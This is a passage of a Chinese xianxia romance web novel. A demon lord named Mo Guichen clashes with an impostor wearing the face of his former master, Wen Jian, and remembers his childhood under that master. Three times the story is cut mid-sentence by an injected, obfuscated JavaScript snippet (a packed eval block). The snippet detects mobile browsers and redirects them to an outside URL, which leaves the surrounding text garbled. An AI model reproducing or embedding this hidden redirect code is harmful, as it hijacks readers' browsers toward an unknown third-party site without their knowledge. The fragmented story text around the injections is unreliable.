不同日不同地不同人,却那么的异口同声,陌归尘气岔岔瞥了一眼黄银。 真是像极某闻姓老男人! 陌归尘冷不防避开黄银那手。 他问:“知道我上任师父怎么死的吗?” 黄银轻摇头:“不知。” 陌归尘嗤笑:“多管闲事死的。” 9. 师徒打(炼)架(丹) 9. “多管闲事死的。” 青年说罢,头也不回消失,黄银则被这指桑骂槐的话堵得哑口无言。 她嘴唇翕动,无声笑了笑。 “真是……” 夜色渐深,霜风加重,吹着林中雾气,四周便更显孤寂冷寒。 片刻后,她望着断崖那厢凌厉术法气四起,滔天巨浪撞散在结界内,若不是得结界挡下蛮横纷乱的光芒,这整座山林只怕都得沦为齑粉。 纵然那人有心用剑,却像个无缘之人,丝毫驾驭不出剑法中的奥秘。 看得出,是不会使剑。 寒气愈加浓重。 黄银提灯,拎起暖炉,走过去。 * “回去睡吧,冷吗?给你暖炉。” 清冷嗓音散在风中,陌归尘收了乱砍的剑,听得愣怔,旋即被勾起脑海沉寂多年的过往: [回去睡,给你被子放暖炉,不冷。] [不要,师尊就是大暖炉。] [这会子知道喊师尊?] 小团子懒音哼唧嘟囔:“就要师尊抱。” 师父低叹:“有事师尊,无事闻笺,真是——” 小团子接话:“小白眼狼!” 师父拭擦徒弟脏兮兮的脚板:“为师可从未说过这种混账话,莫泼我脏水。” 师父摇头:“下次穿鞋来,床上全是你的脚丫子印,黢黑,布坊的绣娘都没你会绘花式。” 小团子拽着师父头发,伏到师父耳边大吼:“闻!笺!!!” 师父揉揉眉心:“年纪不大,嗓门倒不小,你师父还没老到失聪。” …… 陌归尘眸子微撑,正前方,远处的落霞峰,小筑里的那盏灯还亮着。 似觉不够。 他略僵滞回眸,盯着黄银看了许久,把人看了个透净,不是幻术,最后放出缕神识,探进黄银眉心,也没被夺舍,实打实的是本人。 并非闻笺。 陌归尘收回眼神:“又想如何?” “取药草受伤为何不说?” “与你无关。” “你总单独行事,连个替你说好话的人都没,下次不妨试着带上我?” [打架缘由为何不说?] [说了也没人信。] [那你下次带上为师,为师给你撑场子。] 这如出一辙的口吻,真叫人生厌。 他冷漠无情睨视黄银。 “你以为你是闻笺?” “再多管闲事,这就是你的下场。”陌归尘挥掌,毫不留情轰碎石块,再次消失得无影无踪。 * 魔界,魔鬼城,灯火零散。 城楼顶上。 陌归尘支起一条腿,曲膝坐着,随手捡起根枝条,胡乱写画,情不自禁写下八个字 ——修法为己,用法立身。 ——是闻笺教他的仙门第一课。 十年未执笔写字,虽有生疏,可那字迹还真是和某人如出一辙。 怎么能不像…… 如何能不像…… 他的字可是师尊手把手教的。 有些东西,早已刻到骨子里,不是逃避便能割舍的。 陌归尘抬腿,烦躁擦掉字迹。 不知多久后,一只刚开灵智的小精灵飞来,爪子还抱有东西,讷讷盯着陌归尘看了半天,三界众生,怎么会有这么美的人呢。 小精灵羞得身子逐渐通体变粉,许久后,方怯怯糯糯地献殷勤:“尊主姐姐,这是我祖父做的蜜饯,可甜了,他让我给您尝尝。” 陌归尘循声侧头。 姐姐……? 他蹙眉,还是顺着小精灵手指方向看去,城楼下,有位佝偻着背的老人。 老人家也仰头望去,心中无不感激。 他们是灵力低微的千年血精灵,因传言血精灵能助修士修为大涨,整个种族一夕之间遭受灭顶之灾,被正道修士扒皮抽骨入药。 为护住孙儿,老人家断了一条腿一根手臂,险些丧命黄泉之际,为路过的魔尊大人所救。 魔尊大人把无处容身的他们收留进魔界,初始,他全靠魔尊大人送来的灵草吊命。 饱经风霜的老人,仰仗魔尊大人,才有一方安稳城池落脚,这刚能落床,便马不停蹄赶来谢恩,只恨自己手脚不全不能跪拜,否则必定三跪九叩行大礼。 那天,也是他第一次从一个魔修口中听到句:“修法为己,用法立身,你没必要对我感恩戴德。” ——【修法为己,用法立身。】 这话,数千年前,三界各族动乱时,他也曾从一位拨乱反正的神君口中听过。 若非正邪不两立,二人容貌又大为不同,他都要怀疑乃同一人,哪怕不是,可两人说话之时那种一脉相承的腔调与气质,总叫他觉得该是旧相识。 真是太像了。 * 爷孙二人早已离开。 陌归尘也发现点异样,城楼下,不知打哪来的白影,垂着脑袋单膝撑地,就那么待着,岿然不动。 那感觉实在熟悉。 明知不可能,还是难以遏制地走去。 他停在白影前方,此人身上流动的气息像是仙门修士,大抵是误闯罢。 便是冷声警告:“此地不宜久留。” 话毕。 白影终于松动。 抬头,露出张脸,竟真是…… 闻笺? 陌归尘心生疑惑,目光锁在那人眉眼,如常的清冷中却染着丝邪气。 他当即一掌拍去:“你是谁?为何要以他人面目示人。” 掌风裹挟浑厚灵力落下,方才还气息溃散、孱弱不堪的男子,轻而易举躲开这攻击,甚至挑衅似的朝他一笑。 “吾自然是你师,魔尊殿下。” “笑话!” 陌归尘冷嗤:“你也配?” 被怒骂,这人也不恼,反倒好整以暇走近两步,弯下腰,垂眼凝视而来。 两人近在咫尺。 闻笺微笑:“为师如何不配?殿下先前吻我的时候,可不这么不近人情。” 说着,指尖正欲摸上陌归尘的唇。 陌归尘当即聚气抬手,带着寒冽气息的掌,劈开这手,随后又轰出一掌,可怖的威压也铺天盖地劈去闻笺。 那人轻松化作团黑雾消散。 轰隆一声。 渡劫期大圆满修士的一击,直把地面砸出十几尺的深坑,饶是有结界护住,那森然的灵力光波,还是叫远处的城门都被殃及得摇摇欲坠。 不过瞬间,调侃声音又自陌归尘身后起:“还是这么大逆不道,连师父都敢打。” “嗯,也霸道。” “只许周官放火,不许百姓点灯,为师的好徒弟,分明是你先夺走我初吻,怎么如今为师要碰你一下,便这样贞烈呢,是不打算对为师负责?当真是个小负心郎呐。” 陌归尘冷眼审视眼前的假闻笺。 “信口雌黄。” “呵,还不承认。” 此人形迹可疑出现在魔界,无论其目的是什么,他都不可能由得旁人挑衅上门,任人在魔界招摇撞骗兴风作浪,尤其还顶着闻笺的脸。 当诛!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375696|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陌归尘手指轻弹,凝出道幽冷青芒。 骇人火舌直逼闻笺眉心。 闻笺双指抛出株璇玑仙草,仙草挡下攻势,也顿时在火苗中化作黏液。 他煞有其事装好草液:“火候正好。” 陌归尘:“……” 夜色幽暗,那人忽地撒出漫天落叶,又化作黑雾,视野混淆,叫人什么也瞧不清。 陌归尘绣袍一甩,脚尖踢起地上的枝条,稳稳接住,以此为法器,身形疾如闪电,人枝化作一体,浩瀚气息破空,再以锐不可当之势,横扫四面八方。 眸中寒光一闪。 他侧眼,树枝化剑直刺左前方。 滋啦—— 浮生树枝条连穿两片月见草叶子,刺破颗小灵果,果子汁水刷刷流光。 枝条被闻笺双指折断。 浮生树枝、月见草叶、灵果三样东西,一起掉进个巴掌大的紫金丹炉。 闻笺单手托丹炉,倒入先前的璇玑仙草汁液,似笑非笑看着他说话,那股子散漫腔调,膈应又欠揍。 “学了为师的本领来打为师?” “殿下就这么谢师恩的?” 陌归尘脸色阴沉,丢掉半截树枝,掌心灵力运转,手腕一翻,涌出的缕缕煞气,化作根鞭子,毫无征兆就抽了过去。 “你不是我师。” 黑鞭携着冷冽的风,生生将闻笺的颈脖抽出道血痕,他却不觉疼,反倒低头,摸上那根鞭子,绕进指间,温柔爱怜,眼底带着极度诡异的亢奋,宛若在看情人的发丝,貌似下一瞬便要舔上一舔。 真是应了句“抽他反倒是奖励他”! 疯疯癫癫的。 陌归尘晦气极了地轰散煞气。 选择近攻。 浑厚的灵力再度被凝起,银发青年身影如魅,飘逸跃起,掌风靠近,闻笺也接招,二人手臂交错,不相上下过了几招,尔后,又是几个回合,仍然难分高低。 这偌大的空地上,升天火潮、波动灵力、泄出的煞气,全都被那鼎小丹炉默默吸收。 直至月光吐出点血色来。 闻笺化作黑雾,绕到陌归尘身后,光影交错中,他左手接住陌归尘的掌,顺势捏紧手腕,往下一个翻转,右手又托着那个小丹炉。 陌归尘逼人的灵力全数打进了丹炉。 轰—— 熊熊烈焰骤起骤灭。 炉中飘出丝香。 丹成了。 “啧啧啧,可怜的小家伙,一招一式都是为师教的,你拿什么和我打?” 红月之下,闻笺轻松扣住陌归尘下颌,眼眸映出嗜血红光,炽热跳动如火焰:“殿下来试试这颗,我们师徒二人共同炼出来的醉生梦死丹,以便好好报答为师。” “你、” 闻笺陡然释放的威压,沉得骇人,陌归尘几乎是半跪着闻笺,他艰难抬掌,正欲反击,那人已倏然被阵强光击退。 似乎来自他锁骨处的吊坠。 白色强光把闻笺逼得连连倒退,捂着心口吐出大口鲜血,身上也掉落个香囊。 几乎是同一瞬间。 陌归尘挥手,聚起灵力隔空抢走香囊。 栀子花香飘来,这香囊无疑是他藏在灵藕师尊身的物件,怎么……?怎么会在此人身?他神色凝重,不假思索瞬移回魔宫竹屋。 竹帘前,陌归尘攥着帘子,骨节用力,泛出丝丝病白来。 终是猛地一甩起。 视野豁然开朗。 灵藕正安安静静坐在榻上。 传音符适时升起,飘出黄银清冷的嗓音 ——“在哪?” 10. 君子无故,玉不去身。 10. 那边又传来声音:“你身在何处?” “一点小伤,死不了。” 不等人回话,陌归尘直接震碎传音符。 他来到灵藕面前,那露出的半截脖子光洁如玉脂,并无半点伤痕。 刚刚那场对弈,他与神秘人勉强旗鼓相当,只隐隐感觉是比他稍高一筹,可即便如此,也不可能掩盖他留下的煞气,显然,刚刚那人绝非这尊灵藕。 陌归尘又伸手,去探灵藕衣襟心口处,里面空空如也,藏在里面香囊果然不见了。 拆出香囊,摸着里面的玉佩。 旋即招来婢女问话。 陌归尘:“本尊不在时,魔宫可有异?” 婢女跪下:“回尊主,并无。” 陌归尘:“竹屋呢?有无形迹可疑之人?” 婢女摇头苦笑:“回尊主,没有,况且,您设下结界,奴婢等也进不来。” 看来那人实力确在他之上,竟能在他的魔宫,如此来去自如,还偷香囊,怕是醉翁之意不在酒,既是挑衅他威严,更是在打玉佩主意,又或者觊觎更多。 几乎瞬间,陌归尘想到上任魔尊最得力的那位旧部,如今的魔界左护法。 陌归尘:“左护法回来了?” 婢女轻愣:“尊主料事如神,左护法大人确实今早便已回魔界,您要召见他?奴婢这就去传旨。” 陌归尘摆手:“不必。” 若那人真有狼子野心,必然布局多年,自己此举只会打草惊蛇,怕不能一网打尽。 况且那人还被重创,短时内是无法卷土重来了,倒是不急于一时。 着实没必要自乱阵脚,耐着性子,待对方坐不住时,急病乱投医,更易暴露破绽,届时,他只需将计就计,来一个请君入瓮,关门打狗,一举歼灭,不更省心省事? 挥退婢女,陌归尘怔然垂眼,盯着这块玉佩许久,又恍惚想起那年。 那年他拒婚隔壁宗门后,师尊第一次来找他,却送给他一块玉佩,便就是手里的这块。 师尊没说什么重话。 只轻轻告诉他:“君子无故,玉不去身。”随后亲自给他佩戴。 在往后数不清的日子里,这块玉佩,于他而言,何止是节制行止的禁步,更像层无形的枷锁,把那些不该出现的情愫牢牢锁回体内,时常让陌归尘有种心照不宣的羞耻。 那可是玉啊。 君子佩玉用以警醒言行品德。 他觊觎师尊,那是何等的德行败坏! 然而这样一块玉佩,倒在魔界被传成是他修炼秘法的密钥关键,连他那位右护法都多次对玉佩所在之处旁敲侧击。 真是叫人无言以对得想笑。 陌归尘布下层结界,又拨来几批魔兵加强防守,方徐徐离开魔宫。 * 落霞峰,小筑。 陌归尘放出神识,整座山峰都没有闻笺的气息,这人,许是闭关去了罢。 便是推开书房的门。 款款踏进去。 银发青年来到书房那方书案前,五指轻抚过整洁的案面,坐下雕花梨木圆椅。 刹那,心尖微微泛酸。 小时候,师尊坐在椅上看书册,而他便总爱跑来,爬到师尊腿上看话本。 几岁的孩子伸了个懒腰,转头扒拉自家师父的袖子:“你在看什么?” 师父放下卷轴给徒弟看,上面恰是句:知其白,守其黑,为天下式。[1] 小徒弟看得撇嘴,约莫是猜出师尊意图,便嚷嚷着反驳:“黑就是黑,白就是白,错了便是错了,为何要装糊涂故作世故!” “你把人家兄长打了,得到什么?” “得到一顿批评呗,还挨了顿戒尺,可是谁让他欺负自己妹妹,谁家好哥哥打妹妹的!” “那你救的人可有来感激你?” “没有,她还和她哥哥合计撒谎诬陷我!” 师父点点徒弟额头:“看破不说破,难得糊涂,记住了。” “那我不是有你帮我撑腰嘛。” “为师能帮你一辈子?” “能呀!我要一辈子赖着师尊!当师尊的小跟屁虫!给师尊洗衣做饭暖被窝,当牛做马任劳怨,以报答师尊教诲养育之恩。” “说反了,怎么看都像是为师养了个小祖宗。” 师父食指指着卷轴上的字。 “把这话抄十遍。” 小徒弟接过师父递的笔,埋头写字,半晌后,扯扯师父袖子:“闻笺!看!” 说话间,还得瑟扬起小脸,邀功似的望着自家师尊:“快看!” 师父低头,这小徒弟写的哪是自己让抄的句子,是句毫不相关的—— 【今朝沐春风,终生谢师恩】 摇曳的烛火都在这刻停顿一下。 师父心头微紧,垂眼失笑,不吝言词赞道:“我们青栀向来是个好孩子。” 小徒弟叉腰,如只骄傲的小孔雀:“那是!收我当徒,算你闻笺捡到宝啦!” 师父捏捏小徒弟腮帮:“嗯,捡到宝了。” …… 陌归尘退出回忆,就着空案桌,趴下,睡了一个十年来从未有过的安稳觉。 恍惚中,他听到吱哑的开门声。 大抵是风吹开门窗。 周身也被风拂得暖融融的。 寂夜,是无声的相伴。 桌案烛火明灭,闻笺孑然伫立在窗前,白衣胜雪,凛然皎洁,月光投进来,照着闻笺的躯体,虚虚实实的。 他看着陌归尘,耳畔有些对话渐渐从遥远的记忆里传来: “你大了,哪怕不成婚,也该考虑出师。” “你要赶我走?” “是我……是徒儿做错了什么?” “徒儿都改,求师尊不要赶徒儿走!” 书房外,拍门声响彻云霄:“闻笺!你别躲在里面不出声!我知道你在书房!你有本事赶我走,怎么没本事出来看我一眼!” “师尊!” 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闻笺手心拢出银光,灵力化作缕缕丝线,钻过布料缠缚吊坠,往外扯。 吊坠被缠得紧绷。 也没有让步。 骨质吊坠,慢慢渗出血珠来,殷红染上银丝,终于,闻笺因反噬而低声咳了下。 他霍然加大力度往外一扯。 倏地。 吊坠哀鸣震动,银光灵力轰然冲出,那阵巨大的光波直冲闻笺而去,斩断所有银线,也逼得人倒退几步。 闻笺默默闷下口中鲜血,错愕冷笑:“真是反了天。” 吊坠窸窸窣窣爬出来,趴在陌归尘领口处,探出小半颗脑袋,怯怯看闻笺。 闻笺摊手:“过来。” 对峙片刻,吊坠摇头,又重新藏了回去。 是铁下心要跟着陌归尘。 闻笺叹息,也罢。 权当是多件防身法器。 * 陌归尘醒来时,发现手臂的伤已痊愈,肌肤光洁如初,半点儿受伤痕迹都无。 奇怪。 他倒也没再多想,毕竟他身子特殊,一夜自愈也未尝不可能,再说,从前在魔界,神志混沌之际也做过不少自己事后全然不知之事。 习以为常了。 他抬手一挥,回到先前落脚的山林,又正巧碰见黄银从树下走来。 黄银这次难得没再纠缠他看伤口。 只是这人的脸色竟比昨日更显苍白,就那么一声不吭跟在他身侧。 受了欺负似的。 终于,陌归尘皱眉发问:“有人欺负你?” 黄银微讶摇头:“没有。” 陌归尘:“那你装什么哑巴?” 黄银:“不是你嫌我吵么?” 陌归尘:“……” 陌归尘:“那你最好别再跟我说话。” 11. “腹黑老男人。” 11. “那你最好别再跟我说话。” 这话音刚完,陌归尘干脆利落快步往前走,把黄银甩掉,叫她欲启的唇无奈合上。 旁边有同门弟子凑过打抱不平:“黄师妹,你管他那么多作甚?他这种人,自持仙尊弟子傲着呢,咱就别热脸贴冷屁股自讨无趣了。” 黄银:“他只是面冷心热,为我们取药受伤,只字未提。” 男弟子微微语塞,噎了声,将信将疑问:“你说那姓陌的为我们采摘灵草而受伤?” “灵草难取,他伤势不轻。” “此话当真?” 黄银微笑,没再回话,提步追上陌归尘。 “陌师兄。” 陌归尘循声回头,淡漠望人:“奉劝黄姑娘远离我。” “我对你,无儿女之情。” “也别怪我不提醒你,有些人总喜欢自以为是为徒弟做主,若是被误会你我郎有情妾有意,怕是落霞峰某位老男人又要乱点鸳鸯。” “我这人本就没什么好名声,届时拒婚,自然不在意责罚与骂名。” “难堪的便只有你。” 黄银微笑:“我就说你面冷心热,你句句都在为旁人考虑,若是方式与态度再温和些就更好了。” 陌归尘冷眼斜觑黄银。 不予理会这话。 他们已经赶路大半天,因着要给负伤的弟子换药,领队师姐让队伍便停下小作休息。 不消片刻功夫,陌归尘听到些冷言热讽的嘲笑声。 他素来对这些是是非非无感,但下一瞬便听到把略熟的嗓音。 “你们别欺人太甚!” 陌归尘循声瞧去,便见个身着外门弟子服的蓝衣少女,脸红脖子粗的,被几个趾高气扬的青年男女围着。 内门弟子没着装要求,他当年便也算是被闻笺富养,身为师父来来去去唯有那一身白,对徒弟却大方得很,落霞峰的日子里,他陌归尘的衣衫布料上乘不说,式样还从未重样过。 不难看出,远处那些着装不统一之人便是自视内门弟子身份,仗势欺人,看样子还积怨颇久。 那边对话又传来。 “若非仙尊开恩,你真以为就你这种废物,能留在浮华派?当个杂役弟子都是抬举的!” “你们就是嫉妒我!” “呵!真不知仙尊看上你哪点了,该不会是你勾引仙尊吧?” “你们胡说八道什么?” “我说你不要脸,勾——啊!”为首的摇扇男弟子惨叫一声,捂着被石子弹肿的脸,“哪个不长眼的狗娘养的,竟敢偷袭我?知道我是谁吗?” “我可是掌门师尊的小徒弟!” “哦。” 陌归尘懒懒拍手走来,“你是想说‘打狗也得看主人么’?” “是……不!”摇扇男猛然回神被骂,“你!陌归尘!简直目无尊卑!我好歹也是你师兄!你居然骂我?” “尊卑?”陌归尘腔调散漫,不缓不急道,“实力就是尊卑。” “呵,好大的口气。”摇扇男上下打量陌归尘,对方元婴期中期修为,与自己等级相仿,还是玄胤仙尊徒弟,换做平日不会轻举妄动,但自家师尊对此人不甚认可,消掉的火焰,便又蹭蹭燃起。 他啪一声收起扇指人。 倨傲道:“你剑呢?” 摇扇男继续冷嘲热讽:“呵!玄胤仙尊剑法举世无双,这新收的徒弟竟不会用剑,说出来也是稀奇,怕不是要贻笑大方?” “呵。”对面人轻笑。 自己站在石阶上,比陌归尘要高出许多,几近是俯视的角度,偏生那人懒眼瞥来时的神情,松弛又厌世,生生让他读着丝丝蔑视来,宛若是被用眼神骂了一通 ——尔等垃圾,也配我出剑? 且那模样还诡异的蛊惑。 摇扇男暗自唾骂。 该死,自己什么美人没玩过,竟能被一个相貌平平之人魅到,而那人,还是个男子! 活见鬼了! 还没反应过来,摇扇男就听到陌归尘再次发话:“会用药就行。” 摇扇男:“什么意唔……” 摇扇男:“唔唔唔唔唔唔唔唔唔……” 终于听闻动静的大师姐走来打圆场:“好啦,都闹什么呢?” 摇扇男立马委屈巴巴扑向自家师姐求救:“唔唔唔唔唔唔。” 大师姐一挥手,禁言术没解开,再次捏诀,依旧徒劳。 大师姐:“……” 大师姐讪笑:“咳,陌师弟,你看这,嗯?” 陌归尘:“半个时辰后。” 摇扇男:“唔?唔唔!” 陌归尘:“一个时辰。” 摇扇男:“唔唔唔!” 陌归尘:“两个时辰。” 摇扇男还想讨价还价,被自家师姐一把拽走,“臭小子,是不是缺根筋儿?” 闹事的人一走,先前被欺负的外门弟子连忙小跑到陌归尘身边道谢:“谢谢你陌师兄。” 陌归尘看看眼前人,难得微笑点点头:“小事。” 小姑娘也自来熟,连忙打开话匣子:“我资质差,人又笨,当年便也只有青栀师兄愿意搭理我。” “没想到今日还能碰到你为我出头。” 陌归尘摇头:“不足挂齿。” “唉。” 小姑娘似被勾起伤心往事,幽幽哀叹:“青栀师兄,唉……你说他怎么会?不过我也算幸运,师兄走后,承蒙仙尊爱屋及乌,屡屡暗中提携照拂,此次,还破例许我跟出来历练成长。” 追忆起往事,小姑娘便沉浸在回忆里,滔滔不绝:“以前我总偷懒,青栀师兄教我剑法,我就打瞌睡,没学会多少。” “如今剑法练成,教我的人却不在了,唉。” 陌归尘:“若知你练成剑法,他会替你高兴的。” 小姑娘执拗又低落摇头:“不,师兄在天有灵瞧见,我现在把他留给我的剑谱背得滚瓜烂熟,该是会很难受吧。” 陌归尘不解:“此话怎讲?” 陌归尘偏头望人:“他不应该甚感欣慰吗?” “师兄那么厉害的一个人,却自废剑骨,人人都说他修炼邪术,堕落成魔,自废剑骨只是不屑仙门道术,更是在挑衅师门,大逆不道。” “可在我看来,他到底经历了什么,才会绝望到自废剑骨?他若是看到他教我的剑法,难保不会瞧见自己的影子,那他该有多难受呀。” 陌归尘哑然,垂眼盯着地上枯叶,喉间微灼:“原来,这浮华派还有人记得他。” “你这话不对!怎么叫还有人?咱们玄胤仙尊痛失爱徒,如何会不记得?” “那可是他一手一脚拉扯大的孩子!” “没有人比仙尊更难受。” 陌归尘:“荒谬。” 小姑娘:“欸!你这人怎么对仙尊这般大敌意呢?我在浮华派那么多年,我不比你了解浮华派的事?” “仙尊时常去莲池喂龟。” “起初我还觉得奇怪。” “后来有一年,青栀师兄死忌那天,我在莲池旁练剑,练了大半宿,方惊觉仙尊一直在池边坐着,也就是那次,我终于和仙尊说上话,也才知,那只灵龟是青栀师兄随手捡的,投进池里养,仙尊说那会子师兄还小玩心也大,养了几天便忘记了,可是那灵龟到底与师兄结了尘缘,随意舍弃是要遭业障反噬的,后来都是仙尊亲自去喂的,这么一喂,便喂到现在,人都不在了,仙尊还日日去喂龟。” “堂堂仙尊,此等小事还能让他十数年来如一日地坚持,若非爱屋及乌,若非思念爱徒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375698|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若非托物寄情,莫不成是闲得慌么?” 陌归尘冷不防插了句:“逢场作戏谁不会。” “逢场作戏?陌师兄,这种话你怎么说得出口的?仙尊何许人也?那么出尘脱俗的一个人,居然蹲在地上捡徒弟的命牌碎片,命牌都碎成什么样子了,仙尊竟还在那一块一块拼回来。” “他可是玄胤仙尊啊!” “堂堂三界第一人!” “竟也脆弱绝望如失去孩子的风烛残年老人。” 是么? 陌归尘敛着眸子捏紧指腹。 许久才道:“许是……”心里有愧罢。 话刚出口,又意识到不妥,便轻拐话音:“个中秘辛,外人不懂。” 小姑娘实在被人气得怒极反笑:“哈,是是是,我们这些外人确实不懂,我只知道陌师兄你没有心。果然可怜之人,必有可恨之处,无怪旁人厌你,我也懒得和你浪费口舌。” * 将将入夜,一行人在天黑之前赶到处镇子。 望向高悬石牌,陌归尘微怔。 此地竟是……自己幼年之时与闻笺游历过的地方。 故地重游,时过境迁,当年的破落村庄竟已变成繁华小镇。 陌归尘放眼望去,双指结个了千里眼法印,视线便穿过重重建筑,定在某处。 曾落脚过的旧屋萧条不已,当年接待过他们师徒的人早已不在,久无人居。 又探了探周遭气息。 没有人息。 看来确实是不在。 视线顿在落尘的木桌,耳畔忽而响起旧时的对话: “闻笺,我们为何要和凡人一样,走走停停的,师尊这么厉害,一个瞬移都能到天涯海角去。” “为师收你不是为把你困在落霞峰那一方小小的天地,倘若没人情味,将来云游四海,如何当名扬天下的闻大侠?” “哼!你又取笑我!” “为师认真的。” “那……师尊是闻大侠,我是闻小侠,咱们闻大小侠师徒一心,同,同……同归于尽!” 闻笺:“……” 闻笺扶额:“回去把你的六艺抓好。” “不要背书!师尊,求求。“ 几岁大的小徒弟扒拉师尊衣摆,左右摇晃,小猫似的,那脑袋不安分地乱拱着哼唧嚷嚷:“师尊不要嘛,不要背书呜,我会死掉的,师尊疼疼我嘛。” 白衣仙人低头:“抱着为师大腿撒娇,成何体统,也不羞人。” 小徒弟昂头叉腰,如扑棱翅膀的小孔雀,骄傲得不行:“有什么好羞的!师尊疼疼我!” 顶着双圆溜的清眸,小徒弟双手合十,配合上“恭喜发财”的抱拳手势:“师尊,求求。” 娇憨又鬼马精灵的:“师尊,疼疼。” 闻笺轻颔首:“嗯。” “耶!”小徒弟不假思索扑上来,双手捧住自家师尊脸颊就是吧唧一口,“我就知!师尊最好啦!” 留下一片水迹。 闻笺抬袖抹去唾沫:“没规没矩。” 当天夜里。 小徒弟却难得精神,翻来覆去怎么也睡不着,坐在房中角落悠悠品茶的师父,似笑非笑看来:“我们闻大侠认床?” 闻大侠·小徒弟挠挠脑袋,滴溜溜的眸子转了又转,终是无奈点头:“应该吧。”。 师尊翻出本书:“背一页便困了。” 于是一页又一页。 小徒弟被人哄着背完整本书才有些倦乏。 那时的小徒弟总觉得哪里不对劲儿,奈何实在撑不住眼皮,还没闹腾起来,便一头扎进师尊怀里睡过去了,自然没功夫思考所以然。 如今回味起来,又岂会不懂。 陌归尘无声低骂一句。 “腹黑老男人。” 12. 只要我站得足够高, 12. 夜色渐浓,月上枝头。 小镇客栈。 他们今夜宿在此处,客栈院子有棵树,陌归尘单手枕在脑后,百无聊赖倚坐树上看话本。 只是眸光虽落在话本。 注意力却全然在院中另一角落处的对话: “师尊,您看我,都瘦了。” “你呀,小小苦都吃不下,今后可如何是好?” “那徒儿就一辈子赖着师尊呗嘻嘻。” “说什么浑话?也不害臊。” “师尊您在做什么?” “和你几位师叔小聚一下。” “哦,闻师叔也在呀。” …… 不知是为哪个字眼触动,陌归尘倏然合上话本,余光情难自抑偷瞄而去。 烛光摇曳掠过漂浮的水镜。 镜中,惯是肃穆古板的掌门,难得在徒弟面前露出温润慈爱神情,两人相谈甚欢,俨然是一幅师徒其乐融融的温馨画面。 水镜微微一晃,恰好把掌门旁边的闻笺也纳进其中,那人案面摆着些灵蔬酒水,匆匆一瞥,陌归尘不由得眉宇一紧。 竟有青提? 他倒钟爱吃青提。 落霞峰小筑后扎满了青提架子,每年春夏交替时,便能踩在秋千架上摘青提。 然而闻笺却是最厌青提味,这些伺候的人可真不上心。 一次两次都这样。 上回拜师大典后的宴席,席间便有盘被误端上来的青提,最后还是因他提了嘴想吃,方被闻笺特地留下。 正思忖间,却见闻笺素净的双指,不偏不倚捏走颗青提,放到口中,细嚼慢咽。 陌归尘哑然。 他如鲠在喉,心底不由得自嘲失笑,果然这世上没有什么东西是亘古不变的。 不喜也会爱上。 反之,亦然。 曾经放在心尖儿疼爱过的人,舍弃掉,又有何说不过去呢,不外是一句等闲变却故人心。 毕竟事实摆在眼前,故人就是如此,心易变。 也是,堂堂三界第一人,岂会为他这么一个小乞丐怅然若失,郁结于心? 十几年相守相望的日日夜夜,说释怀便释怀,不愧是玄胤仙尊,太上忘情。 真是有够超然物外的。 * 陌归尘收回眼神,不知多久后,院中再无他人,风声簌簌,乌云闭月之际,寂夜,终被打破。 “好好的,你怎么爬树上了?” 恍惚一声起,陌归尘却听得更为怔愣,似未反应过来,那微微掀起的眼眸,仍定定瞅着前方的枝桠。 又是幻听么? 底下声音再起,这次却是带着无奈的笑意:“你爬树上做什么?” 终于,陌归尘僵涩转眸,迟疑低下头,霎时映入眼帘的是,捧着盘荷叶鸡的黄银。 望着树下人。 陌归尘耳畔却尽是那句—— 你爬树上做什么? 你爬树上做什么? 你爬树上做什么? “爬树上做什么?” 树下的白衣仙人哭笑不得:“爬得这般高,也不怕摔着?” “闻笺!你果然来啦!” 白衣仙人摇头:“快下来。” 树上的小团子攀着树干站直身板,单手叉腰:“鉴于你昨日走丢,我想到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375699|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个好法子!” 闻笺:“……”昨日不过是去给小徒弟买粽子糖,怎么到徒弟口中就变成师徒走失了? 转瞬瞧着徒弟认真又倔强的模样,还是耐下性子,细细聆听:“说来听听。” “就是,下次我们走散的话,我就爬得高一点。” 几岁的孩童,笑意盈盈,道出最纯真的想法:“爬到师尊能一眼瞧见我的地方。” “等着师尊来接我!” “我聪明吧?” 白衣仙人轻笑:“嗯,聪明。” 又一次,小徒弟直接爬上城楼。 “闻笺!!” 楼顶的小团子喜上眉梢张开双臂。 “我就说嘛,只要我站得足够高!” “师尊便定会来接我!” 啪一下,小团子毫不犹豫跳下去,稳稳落进白衣仙人的怀抱。 …… 身体的本能,比理智更快一步抵达终点,克制不住似的,待陌归尘回神时,早已是脚下踏空跳下了树。 幸好,堂堂魔尊实力不容小觑,眨眼功夫,便已从旧梦中惊醒,平稳落地,也算是处变不惊,倒是没叫旁人品出端倪看了笑话去。 陌归尘神色淡淡睨着黄银。 “你来做什么?” “客栈后有方荷花池,我摘了点来做荷叶鸡。” 